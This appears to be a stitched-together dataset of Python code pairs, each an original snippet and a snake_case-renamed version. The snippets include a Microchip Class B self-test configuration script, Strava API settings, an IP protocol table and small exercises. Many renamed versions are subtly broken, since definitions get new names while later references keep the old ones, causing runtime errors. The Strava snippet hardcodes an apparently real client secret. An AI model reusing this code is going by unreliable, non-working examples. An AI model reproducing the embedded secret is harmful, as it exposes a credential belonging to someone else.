* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*****************************************************************************"""
def set_class_b__symbol_visibility(MySymbol, event):
MySymbol.setVisible(event['value'])
def instantiate_component(classBComponent):
config_name = Variables.get('__CONFIGURATION_NAME')
class_b_menu = classBComponent.createMenuSymbol('CLASSB_MENU', None)
classBMenu.setLabel('Class B Startup Test Configuration')
execfile(Module.getPath() + '/config/interface.py')
print('Test Module: Harmony Class B Library')
class_b_flash_node = ATDF.getNode('/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name="code"]')
if classBFlashNode != None:
class_b_flash_size = classBComponent.createIntegerSymbol('CLASSB_FLASH_SIZE', None)
classB_FLASH_SIZE.setVisible(False)
classB_FLASH_SIZE.setDefaultValue(int(classBFlashNode.getAttribute('size'), 16))
print('Test Module: Harmony Class B Library')
class_bsram_node = ATDF.getNode('/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name="kseg0_data_mem"]')
print('Test Module: Harmony Class B Library')
if classBSRAMNode != None:
class_b_sram_size = classBComponent.createIntegerSymbol('CLASSB_SRAM_SIZE', None)
classB_SRAM_SIZE.setVisible(False)
classB_SRAM_SIZE.setDefaultValue(int(classBSRAMNode.getAttribute('size'), 16))
class_b_sram_addr = classBComponent.createHexSymbol('CLASSB_SRAM_START_ADDRESS', None)
classB_SRAM_ADDR.setVisible(False)
classB_SRAM_ADDR.setDefaultValue(int(classBSRAMNode.getAttribute('start'), 16) + 2684354560)
class_b_sram_start_msb = classBComponent.createHexSymbol('CLASSB_SRAM_START_MSB', None)
classB_SRAM_START_MSB.setVisible(False)
classB_SRAM_START_MSB.setDefaultValue((int(classBSRAMNode.getAttribute('start'), 16) >> 8) + (2684354560 >> 8))
print('Test Module: Harmony Class B Library')
class_b__use_cpu_test = classBComponent.createBooleanSymbol('CLASSB_CPU_TEST_OPT', classBMenu)
classB_UseCPUTest.setLabel('Test CPU Registers?')
classB_UseCPUTest.setVisible(True)
classB_UseCPUTest.setDefaultValue(False)
class_b__use_sram_test = classBComponent.createBooleanSymbol('CLASSB_SRAM_TEST_OPT', classBMenu)
classB_UseSRAMTest.setLabel('Test SRAM?')
classB_UseSRAMTest.setVisible(True)
classB_UseSRAMTest.setDefaultValue(False)
classb__ram_march_algo = classBComponent.createKeyValueSetSymbol('CLASSB_SRAM_MARCH_ALGORITHM', classB_UseSRAMTest)
classb_Ram_marchAlgo.setLabel('Select RAM March algorithm')
classb_Ram_marchAlgo.addKey('CLASSB_SRAM_MARCH_C', '0', 'March C')
classb_Ram_marchAlgo.addKey('CLASSB_SRAM_MARCH_C_MINUS', '1', 'March C minus')
classb_Ram_marchAlgo.addKey('CLASSB_SRAM_MARCH_B', '2', 'March B')
classb_Ram_marchAlgo.setOutputMode('Key')
classb_Ram_marchAlgo.setDisplayMode('Description')
classb_Ram_marchAlgo.setDescription('Selects the SRAM March algorithm to be used during startup')
classb_Ram_marchAlgo.setDefaultValue(0)
classb_Ram_marchAlgo.setVisible(False)
classb_Ram_marchAlgo.setDependencies(setClassB_SymbolVisibility, ['CLASSB_SRAM_TEST_OPT'])
classb__ram_march_size = classBComponent.createIntegerSymbol('CLASSB_SRAM_MARCH_SIZE', classB_UseSRAMTest)
classb_Ram_marchSize.setLabel('Size of the tested area (bytes)')
classb_Ram_marchSize.setDefaultValue(classB_SRAM_SIZE.getValue() / 4)
classb_Ram_marchSize.setVisible(False)
classb_Ram_marchSize.setMin(0)
classb_Ram_marchSize.setMax(classB_SRAM_SIZE.getValue() - 1024)
classb_Ram_marchSize.setDescription('Size of the SRAM area to be tested starting from 0x20000400')
classb_Ram_marchSize.setDependencies(setClassB_SymbolVisibility, ['CLASSB_SRAM_TEST_OPT'])
print('Test Module: Harmony Class B Library')
class_b__flash_crc__option = classBComponent.createBooleanSymbol('CLASSB_FLASH_CRC_CONF', classBMenu)
classB_FlashCRC_Option.setLabel('Test Internal Flash?')
classB_FlashCRC_Option.setVisible(True)
classB_FlashCRC_Option.setDefaultValue(False)
classB_FlashCRC_Option.setDescription('Enable this option if the CRC-32 checksum of the application image is stored at a specific address in the Flash')
class_b_crc_address = classBComponent.createHexSymbol('CLASSB_FLASHCRC_ADDR', classB_FlashCRC_Option)
classB_CRC_address.setLabel('Flash CRC location')
classB_CRC_address.setDefaultValue(1040384)
classB_CRC_address.setMin(0)
classB_CRC_address.setMax(classB_FLASH_SIZE.getValue() - 4)
classB_CRC_address.setVisible(False)
classB_CRC_address.setDependencies(setClassB_SymbolVisibility, ['CLASSB_FLASH_CRC_CONF'])
class_b__use_clock_test = classBComponent.createBooleanSymbol('CLASSB_CLOCK_TEST_OPT', classBMenu)
classB_UseClockTest.setLabel('Test CPU Clock?')
classB_UseClockTest.setVisible(True)
classb__clock_test_percentage = classBComponent.createKeyValueSetSymbol('CLASSB_CLOCK_TEST_PERCENT', classB_UseClockTest)
classb_ClockTestPercentage.setLabel('Permitted CPU clock error at startup')
classb_ClockTestPercentage.addKey('CLASSB_CLOCK_5PERCENT', '5', '+-5 %')
classb_ClockTestPercentage.addKey('CLASSB_CLOCK_10PERCENT', '10', '+-10 %')
classb_ClockTestPercentage.addKey('CLASSB_CLOCK_15PERCENT', '15', '+-15 %')
classb_ClockTestPercentage.setOutputMode('Value')
classb_ClockTestPercentage.setDisplayMode('Description')
classb_ClockTestPercentage.setDescription('Selects the permitted CPU clock error at startup')
classb_ClockTestPercentage.setDefaultValue(0)
classb_ClockTestPercentage.setVisible(False)
classb_ClockTestPercentage.setDependencies(setClassB_SymbolVisibility, ['CLASSB_CLOCK_TEST_OPT'])
classb__clock_test_duration = classBComponent.createIntegerSymbol('CLASSB_CLOCK_TEST_DURATION', classB_UseClockTest)
classb_ClockTestDuration.setLabel('Clock Test Duration (ms)')
classb_ClockTestDuration.setDefaultValue(5)
classb_ClockTestDuration.setVisible(False)
classb_ClockTestDuration.setMin(5)
classb_ClockTestDuration.setMax(20)
classb_ClockTestDuration.setDependencies(setClassB_SymbolVisibility, ['CLASSB_CLOCK_TEST_OPT'])
class_b__use_inter_test = classBComponent.createBooleanSymbol('CLASSB_INTERRUPT_TEST_OPT', classBMenu)
classB_UseInterTest.setLabel('Test Interrupts?')
classB_UseInterTest.setVisible(True)
classB_UseInterTest.setDefaultValue(False)
classB_UseInterTest.setDescription('This self-test check interrupts operation with the help of NVIC, RTC and TC0')
class_b_read_only_params = classBComponent.createMenuSymbol('CLASSB_ADDR_MENU', None)
classBReadOnlyParams.setLabel('Build parameters (read-only) used by the library')
classb__app_ram_start = classBComponent.createHexSymbol('CLASSB_SRAM_APP_START', classBReadOnlyParams)
classb_AppRam_start.setLabel('Start address of non-reserved SRAM')
classb_AppRam_start.setDefaultValue(2684355584)
classb_AppRam_start.setReadOnly(True)
classb_AppRam_start.setMin(2684355584)
classb_AppRam_start.setMax(2684355584)
classb_AppRam_start.setDescription('Initial 1kB of SRAM is used by the Class B library')
class_b_sram_last_word_addr = classBComponent.createHexSymbol('CLASSB_SRAM_LASTWORD_ADDR', classBReadOnlyParams)
classB_SRAM_lastWordAddr.setLabel('Address of the last word in SRAM')
classB_SRAM_lastWordAddr.setReadOnly(True)
classB_SRAM_lastWordAddr.setDefaultValue(2684354560 + classB_SRAM_SIZE.getValue() - 4)
classB_SRAM_lastWordAddr.setMin(2684354560 + classB_SRAM_SIZE.getValue() - 4)
classB_SRAM_lastWordAddr.setMax(2684354560 + classB_SRAM_SIZE.getValue() - 4)
sram_top = hex(classB_SRAM_lastWordAddr.getValue() + 4)
classB_SRAM_lastWordAddr.setDescription('The SRAM memory address range is 0x00000000 to ' + str(sram_top))
classb__flash_crc_poly = classBComponent.createHexSymbol('CLASSB_FLASH_CRC32_POLY', classBReadOnlyParams)
classb_FlashCRCPoly.setLabel('CRC-32 polynomial for Flash test')
classb_FlashCRCPoly.setDefaultValue(3988292384)
classb_FlashCRCPoly.setReadOnly(True)
classb_FlashCRCPoly.setMin(3988292384)
classb_FlashCRCPoly.setMax(3988292384)
classb_FlashCRCPoly.setDescription('The CRC-32 polynomial used for Flash self-test is ' + str(hex(classb_FlashCRCPoly.getValue())))
classb__sys_tick_max_count = classBComponent.createHexSymbol('CLASSB_SYSTICK_MAXCOUNT', classBReadOnlyParams)
classb_SysTickMaxCount.setLabel('Maximum SysTick count')
classb_SysTickMaxCount.setDefaultValue(16777215)
classb_SysTickMaxCount.setReadOnly(True)
classb_SysTickMaxCount.setMin(16777215)
classb_SysTickMaxCount.setMax(16777215)
classb_SysTickMaxCount.setDescription('The SysTick is a 24-bit counter with max count value ' + str(hex(classb_SysTickMaxCount.getValue())))
classb_cpu__max_clock = classBComponent.createIntegerSymbol('CLASSB_CPU_MAX_CLOCK', classBReadOnlyParams)
classb_CPU_MaxClock.setLabel('Maximum CPU clock frequency')
classb_CPU_MaxClock.setDefaultValue(200000000)
classb_CPU_MaxClock.setReadOnly(True)
classb_CPU_MaxClock.setMin(200000000)
classb_CPU_MaxClock.setMax(200000000)
classb_CPU_MaxClock.setDescription('The self-test for CPU clock frequency assumes that the maximum CPU clock frequency is ' + str(classb_CPU_MaxClock.getValue()) + 'Hz')
classb_rtc__clock = classBComponent.createIntegerSymbol('CLASSB_TMR1_EXPECTED_CLOCK', classBReadOnlyParams)
classb_RTC_Clock.setLabel('Expected RTC clock frequency')
classb_RTC_Clock.setDefaultValue(32768)
classb_RTC_Clock.setReadOnly(True)
classb_RTC_Clock.setMin(32768)
classb_RTC_Clock.setMax(32768)
classb_RTC_Clock.setDescription('The self-test for CPU clock frequency expects the RTC clock frequency to be ' + str(classb_RTC_Clock.getValue()) + 'Hz')
classb__max_accuracy = classBComponent.createIntegerSymbol('CLASSB_CPU_CLOCK_TEST_ACCUR', classBReadOnlyParams)
classb_MaxAccuracy.setLabel('Maximum accuracy for CPU clock test')
classb_MaxAccuracy.setDefaultValue(5)
classb_MaxAccuracy.setReadOnly(True)
classb_MaxAccuracy.setMin(5)
classb_MaxAccuracy.setMax(5)
classb_MaxAccuracy.setDescription('Error percentage selected for CPU clock frequency test must be ' + str(classb_MaxAccuracy.getValue()) + '% or higher')
class_b_header_file = classBComponent.createFileSymbol('CLASSB_HEADER', None)
classBHeaderFile.setSourcePath('/templates/pic32mzw1_wfi32e01/classb.h.ftl')
classBHeaderFile.setOutputName('classb.h')
classBHeaderFile.setDestPath('/classb')
classBHeaderFile.setProjectPath('config/' + configName + '/classb')
classBHeaderFile.setType('HEADER')
classBHeaderFile.setMarkup(True)
class_b_source_file = classBComponent.createFileSymbol('CLASSB_SOURCE', None)
classBSourceFile.setSourcePath('/templates/pic32mzw1_wfi32e01/classb.c.ftl')
classBSourceFile.setOutputName('classb.c')
classBSourceFile.setDestPath('/classb')
classBSourceFile.setProjectPath('config/' + configName + '/classb')
classBSourceFile.setType('SOURCE')
classBSourceFile.setMarkup(True)
class_b_comm_header_file = classBComponent.createFileSymbol('CLASSB_COMMON_HEADER', None)
classBCommHeaderFile.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_common.h.ftl')
classBCommHeaderFile.setOutputName('classb_common.h')
classBCommHeaderFile.setDestPath('/classb')
classBCommHeaderFile.setProjectPath('config/' + configName + '/classb')
classBCommHeaderFile.setType('HEADER')
classBCommHeaderFile.setMarkup(True)
class_b_source_result_mgmt = classBComponent.createFileSymbol('CLASSB_SOURCE_RESULT_MGMT_S', None)
classBSourceResultMgmt.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_result_management.S.ftl')
classBSourceResultMgmt.setOutputName('classb_result_management.S')
classBSourceResultMgmt.setDestPath('/classb')
classBSourceResultMgmt.setProjectPath('config/' + configName + '/classb')
classBSourceResultMgmt.setType('SOURCE')
classBSourceResultMgmt.setMarkup(True)
class_b_source_cpu_test_asm = classBComponent.createFileSymbol('CLASSB_SOURCE_CPUTEST_S', None)
classBSourceCpuTestAsm.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test_asm.S.ftl')
classBSourceCpuTestAsm.setOutputName('classb_cpu_reg_test_asm.S')
classBSourceCpuTestAsm.setDestPath('/classb')
classBSourceCpuTestAsm.setProjectPath('config/' + configName + '/classb')
classBSourceCpuTestAsm.setType('SOURCE')
classBSourceCpuTestAsm.setMarkup(True)
class_b_source_cpu_test_asm = classBComponent.createFileSymbol('CLASSB_SOURCE_CPUTEST', None)
classBSourceCpuTestAsm.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.c.ftl')
classBSourceCpuTestAsm.setOutputName('classb_cpu_reg_test.c')
classBSourceCpuTestAsm.setDestPath('/classb')
classBSourceCpuTestAsm.setProjectPath('config/' + configName + '/classb')
classBSourceCpuTestAsm.setType('SOURCE')
classBSourceCpuTestAsm.setMarkup(True)
class_b_header_cpu_test_asm = classBComponent.createFileSymbol('CLASSB_HEADER_CPU_TEST', None)
classBHeaderCpuTestAsm.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.h.ftl')
classBHeaderCpuTestAsm.setOutputName('classb_cpu_reg_test.h')
classBHeaderCpuTestAsm.setDestPath('/classb')
classBHeaderCpuTestAsm.setProjectPath('config/' + configName + '/classb')
classBHeaderCpuTestAsm.setType('HEADER')
classBHeaderCpuTestAsm.setMarkup(True)
class_b_source_cpu_pc_test = classBComponent.createFileSymbol('CLASSB_SOURCE_CPUPC_TEST', None)
classBSourceCpuPCTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_cpu_pc_test.c.ftl')
classBSourceCpuPCTest.setOutputName('classb_cpu_pc_test.c')
classBSourceCpuPCTest.setDestPath('/classb')
classBSourceCpuPCTest.setProjectPath('config/' + configName + '/classb')
classBSourceCpuPCTest.setType('SOURCE')
classBSourceCpuPCTest.setMarkup(True)
class_b_source_sram_test = classBComponent.createFileSymbol('CLASSB_SOURCE_SRAM_TEST', None)
classBSourceSRAMTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_sram_test.c.ftl')
classBSourceSRAMTest.setOutputName('classb_sram_test.c')
classBSourceSRAMTest.setDestPath('/classb')
classBSourceSRAMTest.setProjectPath('config/' + configName + '/classb')
classBSourceSRAMTest.setType('SOURCE')
classBSourceSRAMTest.setMarkup(True)
class_b_header_sram_test = classBComponent.createFileSymbol('CLASSB_HEADER_SRAM_TEST', None)
classBHeaderSRAMTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_sram_test.h.ftl')
classBHeaderSRAMTest.setOutputName('classb_sram_test.h')
classBHeaderSRAMTest.setDestPath('/classb')
classBHeaderSRAMTest.setProjectPath('config/' + configName + '/classb')
classBHeaderSRAMTest.setType('HEADER')
classBHeaderSRAMTest.setMarkup(True)
class_b_source_flash_test = classBComponent.createFileSymbol('CLASSB_SOURCE_FLASH_TEST', None)
classBSourceFLASHTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_flash_test.c.ftl')
classBSourceFLASHTest.setOutputName('classb_flash_test.c')
classBSourceFLASHTest.setDestPath('/classb')
classBSourceFLASHTest.setProjectPath('config/' + configName + '/classb')
classBSourceFLASHTest.setType('SOURCE')
classBSourceFLASHTest.setMarkup(True)
class_b_header_flash_test = classBComponent.createFileSymbol('CLASSB_HEADER_FLASH_TEST', None)
classBHeaderFLASHTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_flash_test.h.ftl')
classBHeaderFLASHTest.setOutputName('classb_flash_test.h')
classBHeaderFLASHTest.setDestPath('/classb')
classBHeaderFLASHTest.setProjectPath('config/' + configName + '/classb')
classBHeaderFLASHTest.setType('HEADER')
classBHeaderFLASHTest.setMarkup(True)
class_b_source_clock_test = classBComponent.createFileSymbol('CLASSB_SOURCE_CLOCK_TEST', None)
classBSourceClockTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_clock_test.c.ftl')
classBSourceClockTest.setOutputName('classb_clock_test.c')
classBSourceClockTest.setDestPath('/classb')
classBSourceClockTest.setProjectPath('config/' + configName + '/classb')
classBSourceClockTest.setType('SOURCE')
classBSourceClockTest.setMarkup(True)
class_b_header_clock_test = classBComponent.createFileSymbol('CLASSB_HEADER_CLOCK_TEST', None)
classBHeaderClockTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_clock_test.h.ftl')
classBHeaderClockTest.setOutputName('classb_clock_test.h')
classBHeaderClockTest.setDestPath('/classb')
classBHeaderClockTest.setProjectPath('config/' + configName + '/classb')
classBHeaderClockTest.setType('HEADER')
classBSourceClockTest.setMarkup(True)
class_b_source_interrupt_test = classBComponent.createFileSymbol('CLASSB_SOURCE_INTERRUPT_TEST', None)
classBSourceInterruptTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_interrupt_test.c.ftl')
classBSourceInterruptTest.setOutputName('classb_interrupt_test.c')
classBSourceInterruptTest.setDestPath('/classb')
classBSourceInterruptTest.setProjectPath('config/' + configName + '/classb')
classBSourceInterruptTest.setType('SOURCE')
classBSourceInterruptTest.setMarkup(True)
class_b_header_interrupt_test = classBComponent.createFileSymbol('CLASSB_HEADER_INTERRUPT_TEST', None)
classBHeaderInterruptTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_interrupt_test.h.ftl')
classBHeaderInterruptTest.setOutputName('classb_interrupt_test.h')
classBHeaderInterruptTest.setDestPath('/classb')
classBHeaderInterruptTest.setProjectPath('config/' + configName + '/classb')
classBHeaderInterruptTest.setType('HEADER')
classBHeaderInterruptTest.setMarkup(True)
class_b_source_i_opin_test = classBComponent.createFileSymbol('CLASSB_SOURCE_IOPIN_TEST', None)
classBSourceIOpinTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_io_pin_test.c.ftl')
classBSourceIOpinTest.setOutputName('classb_io_pin_test.c')
classBSourceIOpinTest.setDestPath('/classb')
classBSourceIOpinTest.setProjectPath('config/' + configName + '/classb')
classBSourceIOpinTest.setType('SOURCE')
classBSourceIOpinTest.setMarkup(True)
class_b_header_i_opin_test = classBComponent.createFileSymbol('CLASSB_HEADER_IOPIN_TEST', None)
classBHeaderIOpinTest.setSourcePath('/templates/pic32mzw1_wfi32e01/classb_io_pin_test.h.ftl')
classBHeaderIOpinTest.setOutputName('classb_io_pin_test.h')
classBHeaderIOpinTest.setDestPath('/classb')
classBHeaderIOpinTest.setProjectPath('config/' + configName + '/classb')
classBHeaderIOpinTest.setType('HEADER')
classBHeaderIOpinTest.setMarkup(True)
class_b_system_def_file = classBComponent.createFileSymbol('CLASSB_SYS_DEF', None)
classBSystemDefFile.setType('STRING')
classBSystemDefFile.setOutputName('core.LIST_SYSTEM_DEFINITIONS_H_INCLUDES')
classBSystemDefFile.setSourcePath('/templates/system/definitions.h.ftl')
classBSystemDefFile.setMarkup(True)
class_b_xc32ld_reserve_sram = classBComponent.createSettingSymbol('CLASSB_XC32LD_RESERVE_SRAM', None)
classB_xc32ld_reserve_sram.setCategory('C32-LD')
classB_xc32ld_reserve_sram.setKey('oXC32ld-extra-opts')
classB_xc32ld_reserve_sram.setAppend(True, ';')
classB_xc32ld_reserve_sram.setValue('-mreserve=data@0x00000000:0x00000400') |
#
# "Client-ID" and "Client-Secret" from https://www.strava.com/settings/api
#
CLIENT_ID = '19661'
CLIENT_SECRET = '673409cdf6d02b8bc47b0e88cd03015283dddba2'
AUTH_URL = 'http://127.0.0.1:7123/auth' | client_id = '19661'
client_secret = '673409cdf6d02b8bc47b0e88cd03015283dddba2'
auth_url = 'http://127.0.0.1:7123/auth' |
WHITE_ON_BLACK = 0
WHITE_ON_BLUE = 1
BLUE_ON_BLACK = 2
RED_ON_BLACK = 3
GREEN_ON_BLACK = 4
YELLOW_ON_BLACK = 5
CYAN_ON_BLACK = 6
MAGENTA_ON_BLACK = 7
WHITE_ON_CYAN = 8
MAGENTA_ON_CYAN = 9
PROTOCOL_NUMBERS = {
0: "HOPOPT",
1: "ICMP",
2: "IGMP",
3: "GGP",
4: "IPv4",
5: "ST",
6: "TCP",
7: "CBT",
8: "EGP",
9: "IGP",
10: "BBN-RCC-MON",
11: "NVP-II",
12: "PUP",
13: "ARGUS (deprecated)",
14: "EMCON",
15: "XNET",
16: "CHAOS",
17: "UDP",
18: "MUX",
19: "DCN-MEAS",
20: "HMP",
21: "PRM",
22: "XNS-IDP",
23: "TRUNK-1",
24: "TRUNK-2",
25: "LEAF-1",
26: "LEAF-2",
27: "RDP",
28: "IRTP",
29: "ISO-TP4",
30: "NETBLT",
31: "MFE-NSP",
32: "MERIT-INP",
33: "DCCP",
34: "3PC",
35: "IDPR",
36: "XTP",
37: "DDP",
38: "IDPR-CMTP",
39: "TP++",
40: "IL",
41: "IPv6",
42: "SDRP",
43: "IPv6-Route",
44: "IPv6-Frag",
45: "IDRP",
46: "RSVP",
47: "GRE",
48: "DSR",
49: "BNA",
50: "ESP",
51: "AH",
52: "I-NLSP",
53: "SWIPE (deprecated)",
54: "NARP",
55: "MOBILE",
56: "TLSP",
57: "SKIP",
58: "IPv6-ICMP",
59: "IPv6-NoNxt",
60: "IPv6-Opts",
62: "CFTP",
64: "SAT-EXPAK",
65: "KRYPTOLAN",
66: "RVD",
67: "IPPC",
69: "SAT-MON",
70: "VISA",
71: "IPCV",
72: "CPNX",
73: "CPHB",
74: "WSN",
75: "PVP",
76: "BR-SAT-MON",
77: "SUN-ND",
78: "WB-MON",
79: "WB-EXPAK",
80: "ISO-IP",
81: "VMTP",
82: "SECURE-VMTP",
83: "VINES",
84: "TTP/IPTM",
85: "NSFNET-IGP",
86: "DGP",
87: "TCF",
88: "EIGRP",
89: "OSPFIGP",
90: "Sprite-RPC",
91: "LARP",
92: "MTP",
93: "AX.25",
94: "IPIP",
95: "MICP (deprecated)",
96: "SCC-SP",
97: "ETHERIP",
98: "ENCAP",
100: "GMTP",
101: "IFMP",
102: "PNNI",
103: "PIM",
104: "ARIS",
105: "SCPS",
106: "QNX",
107: "A/N",
108: "IPComp",
109: "SNP",
110: "Compaq-Peer",
111: "IPX-in-IP",
112: "VRRP",
113: "PGM",
115: "L2TP",
116: "DDX",
117: "IATP",
118: "STP",
119: "SRP",
120: "UTI",
121: "SMP",
122: "SM (deprecated)",
123: "PTP",
124: "ISIS over IPv4",
125: "FIRE",
126: "CRTP",
127: "CRUDP",
128: "SSCOPMCE",
129: "IPLT",
130: "SPS",
131: "PIPE",
132: "SCTP",
133: "FC",
134: "RSVP-E2E-IGNORE",
135: "Mobility Header",
136: "UDPLite",
137: "MPLS-in-IP",
138: "manet",
139: "HIP",
140: "Shim6",
141: "WESP",
142: "ROHC",
255: "Reserved"
} | white_on_black = 0
white_on_blue = 1
blue_on_black = 2
red_on_black = 3
green_on_black = 4
yellow_on_black = 5
cyan_on_black = 6
magenta_on_black = 7
white_on_cyan = 8
magenta_on_cyan = 9
protocol_numbers = {0: 'HOPOPT', 1: 'ICMP', 2: 'IGMP', 3: 'GGP', 4: 'IPv4', 5: 'ST', 6: 'TCP', 7: 'CBT', 8: 'EGP', 9: 'IGP', 10: 'BBN-RCC-MON', 11: 'NVP-II', 12: 'PUP', 13: 'ARGUS (deprecated)', 14: 'EMCON', 15: 'XNET', 16: 'CHAOS', 17: 'UDP', 18: 'MUX', 19: 'DCN-MEAS', 20: 'HMP', 21: 'PRM', 22: 'XNS-IDP', 23: 'TRUNK-1', 24: 'TRUNK-2', 25: 'LEAF-1', 26: 'LEAF-2', 27: 'RDP', 28: 'IRTP', 29: 'ISO-TP4', 30: 'NETBLT', 31: 'MFE-NSP', 32: 'MERIT-INP', 33: 'DCCP', 34: '3PC', 35: 'IDPR', 36: 'XTP', 37: 'DDP', 38: 'IDPR-CMTP', 39: 'TP++', 40: 'IL', 41: 'IPv6', 42: 'SDRP', 43: 'IPv6-Route', 44: 'IPv6-Frag', 45: 'IDRP', 46: 'RSVP', 47: 'GRE', 48: 'DSR', 49: 'BNA', 50: 'ESP', 51: 'AH', 52: 'I-NLSP', 53: 'SWIPE (deprecated)', 54: 'NARP', 55: 'MOBILE', 56: 'TLSP', 57: 'SKIP', 58: 'IPv6-ICMP', 59: 'IPv6-NoNxt', 60: 'IPv6-Opts', 62: 'CFTP', 64: 'SAT-EXPAK', 65: 'KRYPTOLAN', 66: 'RVD', 67: 'IPPC', 69: 'SAT-MON', 70: 'VISA', 71: 'IPCV', 72: 'CPNX', 73: 'CPHB', 74: 'WSN', 75: 'PVP', 76: 'BR-SAT-MON', 77: 'SUN-ND', 78: 'WB-MON', 79: 'WB-EXPAK', 80: 'ISO-IP', 81: 'VMTP', 82: 'SECURE-VMTP', 83: 'VINES', 84: 'TTP/IPTM', 85: 'NSFNET-IGP', 86: 'DGP', 87: 'TCF', 88: 'EIGRP', 89: 'OSPFIGP', 90: 'Sprite-RPC', 91: 'LARP', 92: 'MTP', 93: 'AX.25', 94: 'IPIP', 95: 'MICP (deprecated)', 96: 'SCC-SP', 97: 'ETHERIP', 98: 'ENCAP', 100: 'GMTP', 101: 'IFMP', 102: 'PNNI', 103: 'PIM', 104: 'ARIS', 105: 'SCPS', 106: 'QNX', 107: 'A/N', 108: 'IPComp', 109: 'SNP', 110: 'Compaq-Peer', 111: 'IPX-in-IP', 112: 'VRRP', 113: 'PGM', 115: 'L2TP', 116: 'DDX', 117: 'IATP', 118: 'STP', 119: 'SRP', 120: 'UTI', 121: 'SMP', 122: 'SM (deprecated)', 123: 'PTP', 124: 'ISIS over IPv4', 125: 'FIRE', 126: 'CRTP', 127: 'CRUDP', 128: 'SSCOPMCE', 129: 'IPLT', 130: 'SPS', 131: 'PIPE', 132: 'SCTP', 133: 'FC', 134: 'RSVP-E2E-IGNORE', 135: 'Mobility Header', 136: 'UDPLite', 137: 'MPLS-in-IP', 138: 'manet', 139: 'HIP', 140: 'Shim6', 141: 'WESP', 142: 'ROHC', 255: 'Reserved'} |
type_ = "postgresql"
username = ""
password = ""
address = ""
database = ""
sort_keys = True
secret_key = ""
debug = True
app_host = "0.0.0.0"
| type_ = 'postgresql'
username = ''
password = ''
address = ''
database = ''
sort_keys = True
secret_key = ''
debug = True
app_host = '0.0.0.0' |
# -*- coding: utf-8 -*-
qntMedidaVelocidadeMotor = int(input())
listMedidaVelocidade = list(map(int, input().split()))
indiceMedidaMenor = 0
for indiceMedida in range(1, qntMedidaVelocidadeMotor):
if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]:
indiceMedidaMenor = indiceMedida + 1
break
print(indiceMedidaMenor) | qnt_medida_velocidade_motor = int(input())
list_medida_velocidade = list(map(int, input().split()))
indice_medida_menor = 0
for indice_medida in range(1, qntMedidaVelocidadeMotor):
if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]:
indice_medida_menor = indiceMedida + 1
break
print(indiceMedidaMenor) |
'''
Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one.
Example 1:
Input: [1,3,4,2,2]
Output: 2
'''
class Solution:
def findDuplicate(self, nums: List[int]) -> int:
s = set()
for num in nums:
if num in s:
return num
else:
s.add(num)
| """
Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one.
Example 1:
Input: [1,3,4,2,2]
Output: 2
"""
class Solution:
def find_duplicate(self, nums: List[int]) -> int:
s = set()
for num in nums:
if num in s:
return num
else:
s.add(num) |
#!python
class Person:
def __init__(self, initialAge):
self.age = initialAge if initialAge >= 0 else 0
if initialAge < 0:
print("Age is not valid, setting age to 0.")
def amIOld(self):
if self.age < 13:
print("You are young.")
elif self.age < 18:
print("You are a teenager.")
else:
print("You are old.")
def yearPasses(self):
self.age += 1
return self.age
t = int(input())
for i in range(0, t):
age = int(input())
p = Person(age)
p.amIOld()
for j in range(0, 3):
p.yearPasses()
p.amIOld()
print("")
| class Person:
def __init__(self, initialAge):
self.age = initialAge if initialAge >= 0 else 0
if initialAge < 0:
print('Age is not valid, setting age to 0.')
def am_i_old(self):
if self.age < 13:
print('You are young.')
elif self.age < 18:
print('You are a teenager.')
else:
print('You are old.')
def year_passes(self):
self.age += 1
return self.age
t = int(input())
for i in range(0, t):
age = int(input())
p = person(age)
p.amIOld()
for j in range(0, 3):
p.yearPasses()
p.amIOld()
print('') |
MotorDriverDirection = [
'forward',
'backward',
]
class MotorDriver():
def __init__(self):
self.PWMA = 0
self.AIN1 = 1
self.AIN2 = 2
self.PWMB = 5
self.BIN1 = 3
self.BIN2 = 4
def MotorRun(self, pwm, motor, index, speed):
if speed > 100:
return
if(motor == 0):
pwm.setDutycycle(self.PWMA, speed)
if(index == MotorDriverDirection[0]):
pwm.setLevel(self.AIN1, 0)
pwm.setLevel(self.AIN2, 1)
else:
pwm.setLevel(self.AIN1, 1)
pwm.setLevel(self.AIN2, 0)
else:
pwm.setDutycycle(self.PWMB, speed)
if(index == MotorDriverDirection[0]):
pwm.setLevel(self.BIN1, 0)
pwm.setLevel(self.BIN2, 1)
else:
pwm.setLevel(self.BIN1, 1)
